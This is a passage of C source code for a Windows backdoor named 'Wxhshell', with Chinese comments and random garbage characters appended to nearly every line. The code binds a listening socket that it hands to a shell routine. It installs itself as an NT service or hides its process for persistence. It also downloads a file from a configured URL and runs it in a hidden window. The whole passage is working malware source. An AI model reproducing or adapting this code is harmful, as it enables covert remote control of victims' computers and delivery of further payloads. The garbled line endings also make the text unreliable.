DWORD BasePriority; qwAN=3@
ULONG UniqueProcessId; F?j;3@z[A
ULONG InheritedFromUniqueProcessId; Sz0M8fYT]
} PROCESS_BASIC_INFORMATION; \'(
@{
Q(lj&!?1k
PROCNTQSIP NtQueryInformationProcess; f.Y9gkt3d
mT57NP
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lD09(|`
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &fBLPF% 6
.8is!TT
HANDLE hProcess; 1jZ:@M:
PROCESS_BASIC_INFORMATION pbi; W(*:8}m,p
9kPwUAw
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :" ZH
if(NULL == hInst ) return 0; 4 !lbwqo
yhr\eiJ@6
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G'XlsyaWrb
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mi|O)6>8n
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]UnZc
7BCCQsz<
if (!NtQueryInformationProcess) return 0; 0pYz8OB
fys@%PZq
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6G"AP~|0
if(!hProcess) return 0; s-r$%9o5
E0=-6j
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (]0$^!YK
]?,47,[<
CloseHandle(hProcess); p}.P^`~j
IS7g{:}=p
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DLE|ctzj[7
if(hProcess==NULL) return 0; Kp"mV=RG2T
zMX7 #,
HMODULE hMod; NFGC.<
char procName[255]; Ns9cx
unsigned long cbNeeded; !U#kUj:4I
`"[VkQFB/
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aPB %6c=
o_U=]mEDY
CloseHandle(hProcess); ~fsAPIQ
0TSj]{[
if(strstr(procName,"services")) return 1; // 以服务启动 xc R
.hgc1
return 0; // 注册表启动 v%> ?~`Y
} ?[Q;275
EF0{o_
// 主模块 n6WSTh
int StartWxhshell(LPSTR lpCmdLine) HKP\`KBCj
{ G Q&9by=}
SOCKET wsl; 3a#637%
BOOL val=TRUE; +8[h&
int port=0; @{.rDz
struct sockaddr_in door; yuswWc'
TEB%y9
if(wscfg.ws_autoins) Install(); sCaw"{5qc
xXZ$#z\Z,
port=atoi(lpCmdLine); {Cs~5jYz
G5zZf~r
if(port<=0) port=wscfg.ws_port; ksY^w+>(!
k(\HAIW
WSADATA data; IGql^,b
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U*/
a#! Vi93
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |x{:GWq
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m&,d8Gss^
door.sin_family = AF_INET; 8,Yc1
door.sin_addr.s_addr = inet_addr("127.0.0.1"); F$ Us! NN
door.sin_port = htons(port); cR$2`:e
BmUEo$w
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dT,X8 "
closesocket(wsl); i[d-n/)
return 1; KBzEEvx/$
} 6luCi$bL
{exF"ap
if(listen(wsl,2) == INVALID_SOCKET) { 0$&Z_oJ
closesocket(wsl); ?`\<t$M
return 1; :<ujk
} #x#.@
Wxhshell(wsl); $a\q<fN}
WSACleanup(); wx(|$2{h
` ]WU=Ss
return 0; wias]u|
|kV,B_qz
} tK{`?NS
zo@>~G3$9
// 以NT服务方式启动 AyNl,Xyc4
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &[I#5bGk
{ \EYhAx`2
DWORD status = 0; ~,R_
DWORD specificError = 0xfffffff; |\?-k
3X0^xUA6
serviceStatus.dwServiceType = SERVICE_WIN32; * _C6.%{
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~u%9@}Oo>
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $q.8ve0&^
serviceStatus.dwWin32ExitCode = 0; 8XX,(k_b
serviceStatus.dwServiceSpecificExitCode = 0; K"Nq_Ddwd
serviceStatus.dwCheckPoint = 0; :Iwe> ;}
serviceStatus.dwWaitHint = 0; ]|Vm!Q
XFYCPET
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *KxV;H8/
if (hServiceStatusHandle==0) return; }E8 Y,;fTD
PhKJ#DRbr
status = GetLastError(); tDEpR
if (status!=NO_ERROR) `{F8#
{ z(1h ^.
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^fnRzX
serviceStatus.dwCheckPoint = 0; n{Jvx>);
serviceStatus.dwWaitHint = 0; AP3SOT3I
serviceStatus.dwWin32ExitCode = status; yKZ~ ^
serviceStatus.dwServiceSpecificExitCode = specificError; X,O&X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R(pvUm&L
return; |[!xLqG
} aH"tSgi
0%FC;v0
serviceStatus.dwCurrentState = SERVICE_RUNNING; ?\$77k
serviceStatus.dwCheckPoint = 0; {!^HG+
serviceStatus.dwWaitHint = 0; }qV4]*+{
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o>U%3-+T^J
} w^R5/#F_r
s_`wLQ7e
// 处理NT服务事件,比如:启动、停止 7jts;H=
VOID WINAPI NTServiceHandler(DWORD fdwControl) An]*J|nFIY
{ Gjy'30IF
switch(fdwControl) Duptles
{ vU{ZB^+&6o
case SERVICE_CONTROL_STOP: 2Y 6/,W
serviceStatus.dwWin32ExitCode = 0; a^Zn
}R r
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4pA<s-
serviceStatus.dwCheckPoint = 0; !S(jT?'w
serviceStatus.dwWaitHint = 0; Bu!Gy8\
{ CoJaVLl
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \,p)
} +qsdA#2
return; uT;Qo{G^
case SERVICE_CONTROL_PAUSE: %*}JDx#@
serviceStatus.dwCurrentState = SERVICE_PAUSED; *%Gy-5hM
break; fM
S-
case SERVICE_CONTROL_CONTINUE: 0pkU1t~9
serviceStatus.dwCurrentState = SERVICE_RUNNING; Mv4JF(,S
break; Qt>yRt
case SERVICE_CONTROL_INTERROGATE: 8VMq>-
break; .V/TVz!b
}; ^o?.Rph|i]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); K3
]hUe#
} ,8$;|#d
m}
Yf6:cr
// 标准应用程序主函数 u{6*}6@fi
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OY"{XnPZ
{ /jj}.X7yH
[&+wW
// 获取操作系统版本 p' /$)klt
OsIsNt=GetOsVer(); >2VB.f
GetModuleFileName(NULL,ExeFile,MAX_PATH); d8]6<\g
#+Vvf
// 从命令行安装 JvHJ*E
if(strpbrk(lpCmdLine,"iI")) Install(); >b{%j8uM
;Kkn7&'F
// 下载执行文件 :4Q_\'P
if(wscfg.ws_downexe) { BIcE3}dS8
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b GwLfU
WinExec(wscfg.ws_filenam,SW_HIDE); qQpR gzw
} $)7-wCl</
p(0!TCBs
if(!OsIsNt) { 7z%zXDe~T[
// 如果时win9x,隐藏进程并且设置为注册表启动 `]tXQqD
HideProc(); AFMAgf{bD
StartWxhshell(lpCmdLine); aYPzN<"%
} EWqKd/
else hrcR"OZ~X
if(StartFromService()) )QI]b4[
// 以服务方式启动 5[/*UtB
StartServiceCtrlDispatcher(DispatchTable); Y=}b/[s6;
else t}'Oh}CG
// 普通方式启动 [%QJ6
StartWxhshell(lpCmdLine); ;! CQFJ=
zyCl`r[}
return 0; .4-;
}